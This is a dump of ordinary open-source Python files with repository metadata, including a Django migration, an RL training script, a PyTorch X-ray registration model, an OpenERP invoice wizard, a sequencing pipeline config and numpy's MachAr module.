py
# Generated by Django 3.0.5 on 2021-02-10 10:37 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0122_domain'), ] operations = [ migrations.AlterField( model_name='domain', name='name', field=models.CharField(max_length=30), ), ]
995cc4b4e5c8fe123f68dc302262b15b94a96e8d
135aca3b7bab7c32d590986b0ac8cfe905c75657
/pytx/wsgi.py
6bd72939eb054853dc32c6bf1f974fc2ab870c46
[ "MIT" ]
permissive
pytexas/PyTexas
9e083d4ad3ba72126babcf0df656f793a4439472
6ab364dee4f23de0b0fa78036a2428be7497fdf2
refs/heads/master
2022-01-12T03:35:15.409636
2019-05-05T14:31:44
2019-05-05T14:31:44
101,810,610
0
1
MIT
2019-04-05T02:57:54
2017-08-29T22:00:51
Python
UTF-8
Python
false
false
458
py
""" WSGI config for pytx project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pytx.settings") application = get_wsgi_application()
702130c3e1067acdf330242f29c3a53c8bb944fb
e58df4aeee11f8a97bdeede6a75a776d130f86d2
/molpal/objectives/pyscreener/docking/__init__.py
0efcc759bcd9da402e1f0ed64dd4aa57d63ad4b9
[ "MIT" ]
permissive
ashuein/molpal
6ecd79767d8ef254e2c852e20f77cd9338844f35
1e17a0c406516ceaeaf273a6983d06206bcfe76f
refs/heads/main
2023-01-29T03:23:10.525555
2020-12-15T14:17:56
2020-12-15T14:17:56
321,720,018
1
0
MIT
2020-12-15T16:09:48
2020-12-15T16:09:48
null
UTF-8
Python
false
false
521
py
from typing import Dict from molpal.objectives.pyscreener.docking.base import Screener def screener(software, **kwargs): if software in ('vina', 'qvina', 'smina', 'psovina'): from molpal.objectives.pyscreener.docking.vina import Vina return Vina(software=software, **kwargs) if software in ('dock', 'ucsfdock', 'DOCK'): from molpal.objectives.pyscreener.docking.dock import DOCK return DOCK(**kwargs) raise ValueError(f'Unrecognized docking software: "{software}"')
1f4bd1ecea902d5847f4ab2e2dfa0f1d7161688b
1f8e15456b2b591ebdbdd123868d72995f801f5f
/single/NormalBLP3.py
9741f0d90bad8502a727abe60781cb4fc2b550e7
[]
no_license
BaiLiping/ControllerBasedCoaching
bcc4104d42c310ccb234bd84ae9ef66a3ba74e78
c718ef9896dc36819a2970465f47187ff0c7a261
refs/heads/master
2023-02-09T01:29:21.814357
2021-01-06T01:42:58
2021-01-06T01:42:58
308,488,963
1
0
null
null
null
null
UTF-8
Python
false
false
3,002
py
from tensorforce import Agent, Environment import matplotlib.pyplot as plt import numpy as np import math import pickle from tqdm import tqdm #setparameters num_steps=10 #update exploration rate over n steps initial_value=0.95 #initial exploartion rate decay_rate=0.5 #exploration rate decay rate set_type='exponential' #set the type of decay linear, exponential exploration=dict(type=set_type, unit='timesteps', num_steps=num_steps,initial_value=initial_value, decay_rate=decay_rate) episode_number=1000 evaluation_episode_number=5 kp=1.77327564e+00 kd=-2.60674054e-02 prohibition_parameter=[0] prohibition_position=[0.01,0.15] # Pre-defined or custom environment environment = Environment.create(environment='gym', level='InvertedPendulumBLP-v1') length=np.zeros(episode_number) reward_record_without=[] agent_without = Agent.create(agent='agent.json', environment=environment,exploration=exploration) states=environment.reset() terminal = False print('training agent without boundary') angle_record=[] for _ in tqdm(range(episode_number)): episode_reward=0 states = environment.reset() terminal= False while not terminal: theta=states[1] actions = agent_without.act(states=states) if abs(theta)<=0.015: actions=kp*states[1]+kd*states[3] states, terminal, reward = environment.execute(actions=actions) episode_reward+=reward agent_without.observe(terminal=terminal, reward=reward) else: states, terminal, reward = environment.execute(actions=actions) reward-=abs(actions) agent_without.observe(terminal=terminal, reward=reward) episode_reward+=reward reward_record_without.append(episode_reward) agent_without.save(directory='model3', format='numpy') x=range(episode_number) x_angle=range(len(angle_record)) plt.figure(figsize=(10,10)) plt.plot(x,reward_record_without,label='without prohibitive boundary',color='black') plt.xlabel('episodes') plt.ylabel('reward') plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc='center left',ncol=2,shadow=True, borderaxespad=0) plt.savefig('plot3.png') plt.figure(figsize=(30,10)) plt.plot(x_angle,angle_record) plt.savefig('angle3.png') #evaluate the agent without Boundary episode_reward = 0.0 evaluation_reward_record_without=[] print('evaluating agent without boundary') for _ in tqdm(range(evaluation_episode_number)): episode_reward=0 states = environment.reset() internals = agent_without.initial_internals() terminal = False while not terminal: actions, internals = agent_without.act(states=states, internals=internals, independent=True, deterministic=True) states, terminal, reward = environment.execute(actions=actions) episode_reward += reward evaluation_reward_record_without.append(episode_reward) pickle.dump(evaluation_reward_record_without, open( "evaluation_without_record.p", "wb")) environment.close()
d3175d32a255ed2f4a57786732b6ab243f101446
0f16edb46a48f9b5a125abb56fc0545ede1d65aa
/client_cli/src/__init__.py
36ea25a06ca41f5a26e0c71ada5e8a185c1910f8
[ "Apache-2.0" ]
permissive
DataONEorg/d1_python
5e685f1af0c356190f2d6df45d1ac849e2f56972
d72a9461894d9be7d71178fb7310101b8ef9066a
refs/heads/master
2023-08-29T03:16:38.131760
2023-06-27T21:59:37
2023-06-27T21:59:37
60,103,877
15
12
Apache-2.0
2023-09-06T18:27:53
2016-05-31T16:01:00
Python
UTF-8
Python
false
false
842
py
# This work was created by participants in the DataONE project, and is # jointly copyrighted by participating institutions in DataONE. For # more information on DataONE, see our web site at http://dataone.org. # # Copyright 2009-2019 DataONE # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from d1_cli.version import __version__ # noqa: F401
6c12c0b8fdc44ffc4c2c3cee8a47b873de1de762
724e29f9984ca7f607356ce1783bc29d8cb8dae8
/lib/net/POINT2_model.py
49933907cdf0435de1de30d029af6ab380ac410d
[ "MIT" ]
permissive
LiuLiluZJU/POINT2-pytorch
3d9e4d5552c757986106b3dd3ca0b828f09b73d6
c9f5fad59e2f7da2c169255de5a730d861a1a96e
refs/heads/master
2022-11-25T02:20:47.018315
2020-08-08T05:20:48
2020-08-08T05:20:48
266,246,266
2
0
null
null
null
null
UTF-8
Python
false
false
5,709
py
import torch import torch.nn as nn import torch.nn.functional as F from torchviz import make_dot from kornia import SpatialSoftArgmax2d from .unet_model import UNet from .FE_layer import FE_layer from .POINT_model import PNet from .triangulation_layer import triangulation_layer import matplotlib.pyplot as plt import math from graphviz import Digraph from torch.autograd import Variable, Function class P2Net(nn.Module): def __init__(self, device, n_channels=1, n_classes=64, bilinear=True, patch_neighbor_size=5): super(P2Net, self).__init__() self.device = device self.n_channels = n_channels self.n_classes = n_classes self.bilinear = bilinear self.patch_neighbor_size = patch_neighbor_size self.PNet_ap = PNet(self.device, self.n_channels, self.n_classes, self.bilinear, self.patch_neighbor_size) self.PNet_lat = PNet(self.device, self.n_channels, self.n_classes, self.bilinear, self.patch_neighbor_size) self.triangulation_layer = triangulation_layer(self.device) self.optimizer = torch.optim.Adam([ {'params': self.PNet_ap.parameters()}, {'params': self.PNet_lat.parameters()} ], lr=0.0002, weight_decay=1e-8) def set_input(self, input_drr_ap, input_xray_ap, correspondence_2D_ap, input_drr_lat, input_xray_lat, correspondence_2D_lat, fiducial_3D): self.input_drr_ap = input_drr_ap self.input_xray_ap = input_xray_ap self.correspondence_2D_ap = correspondence_2D_ap self.input_drr_lat = input_drr_lat self.input_xray_lat = input_xray_lat self.correspondence_2D_lat = correspondence_2D_lat self.fiducial_3D = fiducial_3D self.batch_size = self.correspondence_2D_ap.shape[0] self.point_num = self.correspondence_2D_ap.shape[2] self.PNet_ap.set_input(self.input_drr_ap, self.input_xray_ap, self.correspondence_2D_ap) self.PNet_lat.set_input(self.input_drr_lat, self.input_xray_lat, self.correspondence_2D_lat) def forward(self): self.score_map_ap, self.score_map_gt_ap = self.PNet_ap() self.score_map_lat, self.score_map_gt_lat = self.PNet_lat() self.fiducial_3D_pred = self.triangulation_layer(self.score_map_ap, self.score_map_lat) # center_volume = torch.tensor([127.5, 127.5, 127.5]).to(device=self.device, dtype=torch.float32) # fiducial_3D_pred_decentral = self.fiducial_3D_pred - center_volume # fiducial_3D_decentral = self.fiducial_3D - center_volume # for batch_index in range(self.batch_size): # # R1 = torch.randn(3, 3).to(device=self.device) # # t1 = torch.randn(3, 1).to(device=self.device) # # U1, S1, Vt1 = torch.svd(R1) # # R1 = torch.matmul(U1, Vt1) # # if torch.det(R1) < 0: # # print("Reflection detected") # # Vt1[2, :] *= -1 # # R1 = torch.matmul(Vt1.t(), U1.t()) # # fiducial_3D_decentral = torch.randn(20, 3).to(device=self.device) # # fiducial_3D_pred_decentral = (torch.matmul(R1, fiducial_3D_decentral.t()) + t1.repeat(1, 20)).t() # # fiducial_3D_decentral2 = fiducial_3D_decentral - torch.mean(fiducial_3D_decentral, dim=0).repeat(20, 1) # # fiducial_3D_pred_decentral2 = fiducial_3D_pred_decentral - torch.mean(fiducial_3D_pred_decentral, dim=0).repeat(20, 1) # # print(R1, t1) # # fiducial_3D_pred_decentral2 = fiducial_3D_pred_decentral[batch_index] - torch.mean(fiducial_3D_pred_decentral[batch_index], dim=[0]) # fiducial_3D_decentral2 = fiducial_3D_decentral[batch_index] - torch.mean(fiducial_3D_decentral[batch_index], dim=[0]) # H = torch.matmul(fiducial_3D_decentral2.t(), fiducial_3D_pred_decentral2) # U, S, V = torch.svd(H) # V is different from numpy's. V in torch, V.t() in numpy # R = torch.matmul(V, U.t()) # if torch.det(R) < 0: # print("Reflection detected") # V[2, :] *= -1 # R = torch.matmul(V, U.t()) # # print(fiducial_3D_pred_decentral[batch_index]) # # print(fiducial_3D_decentral[batch_index]) # # print(fiducial_3D_pred_decentral[batch_index] - fiducial_3D_decentral[batch_index]) # print(R) # t = torch.mean(fiducial_3D_pred_decentral[batch_index], dim=[0]) - torch.matmul(R, torch.mean(fiducial_3D_decentral[batch_index], dim=[0])) # print(t) # k = 1 def backward_basic(self): self.loss_bce_ap = F.binary_cross_entropy_with_logits(self.score_map_ap, self.score_map_gt_ap, reduction='mean') self.loss_bce_lat = F.binary_cross_entropy_with_logits(self.score_map_lat, self.score_map_gt_lat, reduction='mean') print(self.fiducial_3D_pred.shape) self.loss_eular = torch.mean(torch.norm(self.fiducial_3D_pred - self.fiducial_3D, dim=2), dim=[1, 0]) print("self.loss_eular", self.loss_eular) self.loss_total = self.loss_bce_ap + self.loss_bce_lat + 0.001 * self.loss_eular # g = make_dot(self.loss_total) # g.view() print("loss:", self.loss_total) self.loss_total.backward() # print(self.UNet.up1.conv.double_conv[0].weight.grad) def optimize_parameters(self): # forward self() self.optimizer.zero_grad() self.backward_basic() nn.utils.clip_grad_value_(self.PNet_ap.parameters(), 0.1) nn.utils.clip_grad_value_(self.PNet_lat.parameters(), 0.1) self.optimizer.step()
de8ef6ccebcd187a581faf86b86c35701d6200f7
11e484590b27585facf758f0432eeebe66bf790a
/fal_invoice_milestone_purchase/wizard/purchase_make_invoice_advance.py
0691ee65cc3d7a53ce22b97a015a0d621c6c880b
[]
no_license
jeanabreu/falinwa_branch
51b38ee5a3373d42417b84a0431bad9f7295f373
be96a209479259cd5b47dec73694938848a2db6c
refs/heads/master
2021-01-18T10:25:49.866747
2015-08-25T10:05:05
2015-08-25T10:05:05
41,369,368
0
1
null
2015-08-25T14:51:50
2015-08-25T14:51:50
null
UTF-8
Python
false
false
6,431
py
from openerp.osv import fields, orm from openerp.tools.translate import _ import openerp.addons.decimal_precision as dp class purchase_advance_payment_inv(orm.TransientModel): _name = "purchase.advance.payment.inv" _description = "Purchase Advance Payment Invoice" _columns = { 'amount': fields.float('Advance Amount', digits_compute= dp.get_precision('Account'), help="The amount to be invoiced in advance."), } def _prepare_advance_invoice_vals(self, cr, uid, ids, context=None): if context is None: context = {} purchase_obj = self.pool.get('purchase.order') ir_property_obj = self.pool.get('ir.property') fiscal_obj = self.pool.get('account.fiscal.position') inv_line_obj = self.pool.get('account.invoice.line') account_jrnl_obj = self.pool.get('account.journal') wizard = self.browse(cr, uid, ids[0], context) purchase_ids = context.get('active_ids', []) result = [] for purchase in purchase_obj.browse(cr, uid, purchase_ids, context=context): res = {} # determine and check expense account prop = ir_property_obj.get(cr, uid, 'property_account_expense_categ', 'product.category', context=context) prop_id = prop and prop.id or False account_id = fiscal_obj.map_account(cr, uid, purchase.fiscal_position or False, prop_id) if not account_id: raise orm.except_orm(_('Configuration Error!'), _('There is no expense account defined as global property.')) res['account_id'] = account_id # determine invoice amount if wizard.amount <= 0.00: raise orm.except_orm(_('Incorrect Data'), _('The value of Advance Amount must be positive.')) inv_amount = purchase.amount_total * wizard.amount / 100 if not res.get('name'): res['name'] = _("Advance of %s %%") % (wizard.amount) # determine taxes if res.get('invoice_line_tax_id'): res['invoice_line_tax_id'] = [(6, 0, res.get('invoice_line_tax_id'))] else: res['invoice_line_tax_id'] = False #search journal journal_id = account_jrnl_obj.search(cr, uid, [('type', '=', 'purchase')], context=None) journal_id = journal_id and journal_id[0] or False # create the invoice inv_line_values = { 'name': res.get('name'), 'origin': purchase.name, 'account_id': res['account_id'], 'price_unit': inv_amount, 'quantity': 1.0, 'discount': False, 'uos_id': res.get('uos_id', False), 'product_id': False, 'invoice_line_tax_id': res.get('invoice_line_tax_id'), 'account_analytic_id': purchase.order_line[0].account_analytic_id.id or False, } inv_values = { 'name': purchase.partner_ref or purchase.name or '', 'origin': purchase.name, 'type': 'in_invoice', 'reference': purchase.partner_ref or purchase.name or '', 'account_id': purchase.partner_id.property_account_payable.id, 'partner_id': purchase.partner_id.id, 'invoice_line': [(0, 0, inv_line_values)], 'currency_id': purchase.pricelist_id.currency_id.id, 'comment': purchase.notes or '', 'payment_term': purchase.payment_term_id and purchase.payment_term_id.id or False, 'fiscal_position': purchase.fiscal_position.id or purchase.partner_id.property_account_position.id or False, 'journal_id' : journal_id, 'date_invoice': context.get('date_invoice', False), 'company_id': purchase.company_id and purchase.company_id.id or False, } result.append((purchase.id, inv_values)) return result def _create_invoices(self, cr, uid, inv_values, purchase_id, context=None): inv_obj = self.pool.get('account.invoice') purchase_obj = self.pool.get('purchase.order') inv_id = inv_obj.create(cr, uid, inv_values, context=context) inv_obj.button_reset_taxes(cr, uid, [inv_id], context=context) # add the invoice to the purchase order's invoices purchase_obj.write(cr, uid, purchase_id, {'invoice_ids': [(4, inv_id)]}, context=context) return inv_id def create_invoices(self, cr, uid, ids, context=None): """ create invoices for the active purchases orders """ purchase_obj = self.pool.get('purchase.order') act_window = self.pool.get('ir.actions.act_window') wizard = self.browse(cr, uid, ids[0], context) purchase_ids = context.get('active_ids', []) inv_ids = [] for purchase_id, inv_values in self._prepare_advance_invoice_vals(cr, uid, ids, context=context): inv_ids.append(self._create_invoices(cr, uid, inv_values, purchase_id, context=context)) if context.get('open_invoices', False): return self.open_invoices( cr, uid, ids, inv_ids, context=context) return {'type': 'ir.actions.act_window_close'} def open_invoices(self, cr, uid, ids, invoice_ids, context=None): """ open a view on one of the given invoice_ids """ ir_model_data = self.pool.get('ir.model.data') form_res = ir_model_data.get_object_reference(cr, uid, 'account', 'invoice_supplier_form') form_id = form_res and form_res[1] or False tree_res = ir_model_data.get_object_reference(cr, uid, 'account', 'invoice_tree') tree_id = tree_res and tree_res[1] or False return { 'name': _('Advance Invoice'), 'view_type': 'form', 'view_mode': 'form,tree', 'res_model': 'account.invoice', 'res_id': invoice_ids[0], 'view_id': False, 'views': [(form_id, 'form'), (tree_id, 'tree')], 'context': "{'type': 'in_invoice'}", 'type': 'ir.actions.act_window', } #end of purchase_advance_payment_inv() # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
2fcec0007bb738adbc0f9bba1db2d6d3e174a56f
bacd13a19aa2cc0037961d101207afc5b26405ca
/configs/May_05_2018_Penalva_RPS05.py
e12fbc5446cda7c2f4d80a947b04c6fdb4898bc6
[ "BSD-3-Clause" ]
permissive
saketkc/ribo-seq-snakemake
85f74eda7a9972ce02f3091c0d181be64c688384
06b56d7fa1119c483a9f807c23f31fb9efa00440
refs/heads/master
2021-09-15T10:52:54.488854
2018-05-31T04:25:36
2018-05-31T04:25:36
82,966,027
2
0
null
null
null
null
UTF-8
Python
false
false
2,308
py
## Absolute location where all raw files are RAWDATA_DIR = '/auto/cmb-06/as/skchoudh/dna/May_05_2018_Penalva_RPS05/PenalvaL_05022018' ## Output directory OUT_DIR = '/staging/as/skchoudh/rna/May_05_2018_Penalva_RPS05' ## Absolute location to 're-ribo/scripts' directory SRC_DIR = '/auto/cmb-panasas2/skchoudh/github_projects/re-ribo-mine/scripts' ## Genome fasta location GENOME_FASTA = '/home/cmb-panasas2/skchoudh/genomes/hg38/fasta/hg38.fa' ## Chromosome sizes location CHROM_SIZES = '/home/cmb-panasas2/skchoudh/genomes/hg38/fasta/hg38.chrom.sizes' ## Path to STAR index (will be generated if does not exist) STAR_INDEX = '/home/cmb-panasas2/skchoudh/genomes/hg38/star_annotated' ## GTF path GTF = '/home/cmb-panasas2/skchoudh/genomes/hg38/annotation/gencode.v25.annotation.without_rRNA_tRNA.gtf' ## GenePred bed downloaded from UCSC ## (this is used for inferring the type of experiment i.e stranded/non-stranded ## and hence is not required) GENE_BED = '/home/cmb-panasas2/skchoudh/genomes/hg38/annotation/gencode.v24.genes.bed' ## Path to bed file with start codon coordinates START_CODON_BED = '/home/cmb-panasas2/skchoudh/genomes/hg38/annotation/gencode.v25.gffutils.start_codon.bed' ## Path to bed file with stop codon coordinates STOP_CODON_BED = '/home/cmb-panasas2/skchoudh/genomes/hg38/annotation/gencode.v25.gffutils.stop_codon.bed' ## Path to bed file containing CDS coordinates CDS_BED = '/home/cmb-panasas2/skchoudh/genomes/hg38/annotation/gencode.v25.gffutils.cds.bed' # We don't have these so just use CDs bed to get the pipeline running UTR5_BED = '/home/cmb-panasas2/skchoudh/genomes/hg38/annotation/gencode.v25.gffutils.UTR5.bed' UTR3_BED = '/home/cmb-panasas2/skchoudh/genomes/hg38/annotation/gencode.v25.gffutils.UTR3.bed' ## Name of python2 environment ## The following package needs to be installed in that environment ## numpy scipy matploltib seaborn pysam pybedtools htseq ## you can do: conda create -n python2 PYTHON=2 && source activate python2 && conda install numpy scipy matploltib seaborn pysam pybedtools htseq PYTHON2ENV = 'python2' ############################################Do Not Edit############################################# HTSEQ_STRANDED = 'yes' FEATURECOUNTS_S = '-s 1' FEATURECOUNTS_T = 'CDS' HTSEQ_MODE = 'intersection-strict'
e81f3c205ce8eb12f67b402c0e69686aa7398c8c
9cc8b489018dc25781b0aaa407a9ddc2a5caa72b
/examples/animations/leaky_echo_state_network.py
8dce1fd3c088fdc0ccd48e68a4fa18fd481179bb
[ "Apache-2.0" ]
permissive
SocratesNFR/EvoDynamic
2921fba58fec60ff8c3d239be4f84dced2f41d01
ddd93c999d0120349ab022e47fd370ca58ec5ce7
refs/heads/master
2023-03-30T21:31:55.031043
2023-03-29T12:15:15
2023-03-29T12:15:15
183,439,783
17
5
Apache-2.0
2020-09-07T13:08:13
2019-04-25T13:26:45
Python
UTF-8
Python
false
false
3,996
py
""" Simple animation of Echo State Network """ import tensorflow.compat.v1 as tf tf.disable_v2_behavior() import numpy as np import evodynamic.experiment as experiment import evodynamic.connection.random as conn_random import evodynamic.connection as connection import evodynamic.cells.activation as act import networkx as nx width = 100 input_size = width // 10 input_scaling = 0.6 input_sparsity = 0.9 leaky_rate = 0.5 exp = experiment.Experiment() input_esn = exp.add_input(tf.float64, [input_size], "input_esn") g_input_real_conn = conn_random.create_gaussian_connection('g_input_real_conn', input_size, width, scale=input_scaling, sparsity=input_sparsity, is_sparse=True) g_esn = exp.add_group_cells(name="g_esn", amount=width) g_esn_real = g_esn.add_real_state(state_name='g_esn_real') g_esn_real_conn = conn_random.create_gaussian_matrix('g_esn_real_conn',width, spectral_radius=1.3, sparsity=0.95, is_sparse=True) # g_esn_real_bias = conn_random.create_gaussian_connection('g_esn_real_bias', # 1, width, # scale=1.0, # is_sparse=False) exp.add_connection("input_conn", connection.WeightedConnection(input_esn, g_esn_real,act.tanh, g_input_real_conn)) # exp.add_connection("g_esn_conn", # connection.WeightedConnection(g_esn_real, # g_esn_real,act.leaky_sigmoid, # g_esn_real_conn, # fargs_list=[(leaky_rate,)])) exp.add_connection("g_esn_conn", connection.WeightedConnection(g_esn_real, g_esn_real,act.leaky_tanh, g_esn_real_conn, fargs_list=[(leaky_rate,)])) exp.initialize_cells() weight_matrix = exp.session.run(exp.get_connection("g_esn_conn").w) G = nx.DiGraph() G.add_edges_from(weight_matrix[0]) pos_dict = {} for i in range(width): if i < input_size: pos_dict[i] = (0,i) pos = nx.spring_layout(G,pos=pos_dict, fixed=pos_dict.keys()) min_x_val = min([p[0] for p in pos.values()]) pos_new = {k: (pos[k][0]+min_x_val-1, pos[k][1]) if k<input_size else pos[k] for k in pos.keys()} # Animation import matplotlib.pyplot as plt import matplotlib.animation as animation fig, ax = plt.subplots() plt.title('Step: 0') current_state = exp.get_group_cells_state("g_esn", "g_esn_real")[:,0] node_color = [round(current_state[node],2) for node in G] nx.draw(G.reverse(), node_color = node_color, pos=pos_new, cmap=plt.cm.coolwarm, vmin=-1, vmax=1, connectionstyle="arc3, rad=0.1") idx_anim = 0 def updatefig(*args): global idx_anim ax.clear() input_esn_arr = np.random.randint(2, size=(input_size,1)) if idx_anim < 6 else np.zeros((input_size,1)) exp.run_step(feed_dict={input_esn: input_esn_arr}) current_state = exp.get_group_cells_state("g_esn", "g_esn_real")[:,0] node_color = [round(current_state[node],2) for node in G] nx.draw(G.reverse(), node_color = node_color, pos=pos_new, cmap=plt.cm.coolwarm, vmin=-1, vmax=1, connectionstyle="arc3, rad=0.1") plt.title('Step: '+str(idx_anim)) idx_anim += 1 ani = animation.FuncAnimation(fig, updatefig, frames=30, interval=2000, blit=False) plt.show() plt.connect('close_event', exp.close())
3faca7161ed0a39f5560f4d9c40756b32f4754b5
a7f855efff14e0b15cffb3f035d8dc9f7f102afe
/mfb/binWin/2.69/python/lib/numpy/core/machar.py
252a87f798bc06c14035fcc9fea7b61bfd4fd78e
[]
no_license
BlenderCN-Org/FlipbookApp
76fcd92644c4e18dd90885eeb49e5aecae28f6f0
0df2acebf76b40105812d2e3af8f0ef4784ab74c
refs/heads/master
2020-05-27T14:33:25.330291
2014-07-10T17:47:29
2014-07-10T17:47:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,976
py
""" Machine arithmetics - determine the parameters of the floating-point arithmetic system """ # Author: Pearu Peterson, September 2003 __all__ = ['MachAr'] from numpy.core.fromnumeric import any from numpy.core.numeric import seterr # Need to speed this up...especially for longfloat class MachAr(object): """ Diagnosing machine parameters. Attributes ---------- ibeta : int Radix in which numbers are represented. it : int Number of base-`ibeta` digits in the floating point mantissa M. machep : int Exponent of the smallest (most negative) power of `ibeta` that, added to 1.0, gives something different from 1.0 eps : float Floating-point number ``beta**machep`` (floating point precision) negep : int Exponent of the smallest power of `ibeta` that, substracted from 1.0, gives something different from 1.0. epsneg : float Floating-point number ``beta**negep``. iexp : int Number of bits in the exponent (including its sign and bias). minexp : int Smallest (most negative) power of `ibeta` consistent with there being no leading zeros in the mantissa. xmin : float Floating point number ``beta**minexp`` (the smallest [in magnitude] usable floating value). maxexp : int Smallest (positive) power of `ibeta` that causes overflow. xmax : float ``(1-epsneg) * beta**maxexp`` (the largest [in magnitude] usable floating value). irnd : int In ``range(6)``, information on what kind of rounding is done in addition, and on how underflow is handled. ngrd : int Number of 'guard digits' used when truncating the product of two mantissas to fit the representation. epsilon : float Same as `eps`. tiny : float Same as `xmin`. huge : float Same as `xmax`. precision : float ``- int(-log10(eps))`` resolution : float ``- 10**(-precision)`` Parameters ---------- float_conv : function, optional Function that converts an integer or integer array to a float or float array. Default is `float`. int_conv : function, optional Function that converts a float or float array to an integer or integer array. Default is `int`. float_to_float : function, optional Function that converts a float array to float. Default is `float`. Note that this does not seem to do anything useful in the current implementation. float_to_str : function, optional Function that converts a single float to a string. Default is ``lambda v:'%24.16e' %v``. title : str, optional Title that is printed in the string representation of `MachAr`. See Also -------- finfo : Machine limits for floating point types. iinfo : Machine limits for integer types. References ---------- .. [1] Press, Teukolsky, Vetterling and Flannery, "Numerical Recipes in C++," 2nd ed, Cambridge University Press, 2002, p. 31. """ def __init__(self, float_conv=float,int_conv=int, float_to_float=float, float_to_str = lambda v:'%24.16e' % v, title = 'Python floating point number'): """ float_conv - convert integer to float (array) int_conv - convert float (array) to integer float_to_float - convert float array to float float_to_str - convert array float to str title - description of used floating point numbers """ # We ignore all errors here because we are purposely triggering # underflow to detect the properties of the runninng arch. saverrstate = seterr(under='ignore') try: self._do_init(float_conv, int_conv, float_to_float, float_to_str, title) finally: seterr(**saverrstate) def _do_init(self, float_conv, int_conv, float_to_float, float_to_str, title): max_iterN = 10000 msg = "Did not converge after %d tries with %s" one = float_conv(1) two = one + one zero = one - one # Do we really need to do this? Aren't they 2 and 2.0? # Determine ibeta and beta a = one for _ in range(max_iterN): a = a + a temp = a + one temp1 = temp - a if any(temp1 - one != zero): break else: raise RuntimeError(msg % (_, one.dtype)) b = one for _ in range(max_iterN): b = b + b temp = a + b itemp = int_conv(temp-a) if any(itemp != 0): break else: raise RuntimeError(msg % (_, one.dtype)) ibeta = itemp beta = float_conv(ibeta) # Determine it and irnd it = -1 b = one for _ in range(max_iterN): it = it + 1 b = b * beta temp = b + one temp1 = temp - b if any(temp1 - one != zero): break else: raise RuntimeError(msg % (_, one.dtype)) betah = beta / two a = one for _ in range(max_iterN): a = a + a temp = a + one temp1 = temp - a if any(temp1 - one != zero): break else: raise RuntimeError(msg % (_, one.dtype)) temp = a + betah irnd = 0 if any(temp-a != zero): irnd = 1 tempa = a + beta temp = tempa + betah if irnd==0 and any(temp-tempa != zero): irnd = 2 # Determine negep and epsneg negep = it + 3 betain = one / beta a = one for i in range(negep): a = a * betain b = a for _ in range(max_iterN): temp = one - a if any(temp-one != zero): break a = a * beta negep = negep - 1 # Prevent infinite loop on PPC with gcc 4.0: if negep < 0: raise RuntimeError("could not determine machine tolerance " "for 'negep', locals() -> %s" % (locals())) else: raise RuntimeError(msg % (_, one.dtype)) negep = -negep epsneg = a # Determine machep and eps machep = - it - 3 a = b for _ in range(max_iterN): temp = one + a if any(temp-one != zero): break a = a * beta machep = machep + 1 else: raise RuntimeError(msg % (_, one.dtype)) eps = a # Determine ngrd ngrd = 0 temp = one + eps if irnd==0 and any(temp*one - one != zero): ngrd = 1 # Determine iexp i = 0 k = 1 z = betain t = one + eps nxres = 0 for _ in range(max_iterN): y = z z = y*y a = z*one # Check here for underflow temp = z*t if any(a+a == zero) or any(abs(z)>=y): break temp1 = temp * betain if any(temp1*beta == z): break i = i + 1 k = k + k else: raise RuntimeError(msg % (_, one.dtype)) if ibeta != 10: iexp = i + 1 mx = k + k else: iexp = 2 iz = ibeta while k >= iz: iz = iz * ibeta iexp = iexp + 1 mx = iz + iz - 1 # Determine minexp and xmin for _ in range(max_iterN): xmin = y y = y * betain a = y * one temp = y * t if any(a+a != zero) and any(abs(y) < xmin): k = k + 1 temp1 = temp * betain if any(temp1*beta == y) and any(temp != y): nxres = 3 xmin = y break else: break else: raise RuntimeError(msg % (_, one.dtype)) minexp = -k # Determine maxexp, xmax if mx <= k + k - 3 and ibeta != 10: mx = mx + mx iexp = iexp + 1 maxexp = mx + minexp irnd = irnd + nxres if irnd >= 2: maxexp = maxexp - 2 i = maxexp + minexp if ibeta == 2 and not i: maxexp = maxexp - 1 if i > 20: maxexp = maxexp - 1 if any(a != y): maxexp = maxexp - 2 xmax = one - epsneg if any(xmax*one != xmax): xmax = one - beta*epsneg xmax = xmax / (xmin*beta*beta*beta) i = maxexp + minexp + 3 for j in range(i): if ibeta==2: xmax = xmax + xmax else: xmax = xmax * beta self.ibeta = ibeta self.it = it self.negep = negep self.epsneg = float_to_float(epsneg) self._str_epsneg = float_to_str(epsneg) self.machep = machep self.eps = float_to_float(eps) self._str_eps = float_to_str(eps) self.ngrd = ngrd self.iexp = iexp self.minexp = minexp self.xmin = float_to_float(xmin) self._str_xmin = float_to_str(xmin) self.maxexp = maxexp self.xmax = float_to_float(xmax) self._str_xmax = float_to_str(xmax) self.irnd = irnd self.title = title # Commonly used parameters self.epsilon = self.eps self.tiny = self.xmin self.huge = self.xmax import math self.precision = int(-math.log10(float_to_float(self.eps))) ten = two + two + two + two + two resolution = ten ** (-self.precision) self.resolution = float_to_float(resolution) self._str_resolution = float_to_str(resolution) def __str__(self): return '''\ Machine parameters for %(title)s --------------------------------------------------------------------- ibeta=%(ibeta)s it=%(it)s iexp=%(iexp)s ngrd=%(ngrd)s irnd=%(irnd)s machep=%(machep)s eps=%(_str_eps)s (beta**machep == epsilon) negep =%(negep)s epsneg=%(_str_epsneg)s (beta**epsneg) minexp=%(minexp)s xmin=%(_str_xmin)s (beta**minexp == tiny) maxexp=%(maxexp)s xmax=%(_str_xmax)s ((1-epsneg)*beta**maxexp == huge) --------------------------------------------------------------------- ''' % self.__dict__ if __name__ == '__main__': print(MachAr())
8247d63f1aa8f4e29ddecf52de7dbe954d7f95a3
6b3e8b4291c67195ad51e356ba46602a15d5fe38
/rastervision2/core/predictor.py
9b6af32dc47db091718b15160f358eb35de21eed
[ "LicenseRef-scancode-generic-cla", "Apache-2.0" ]
permissive
csaybar/raster-vision
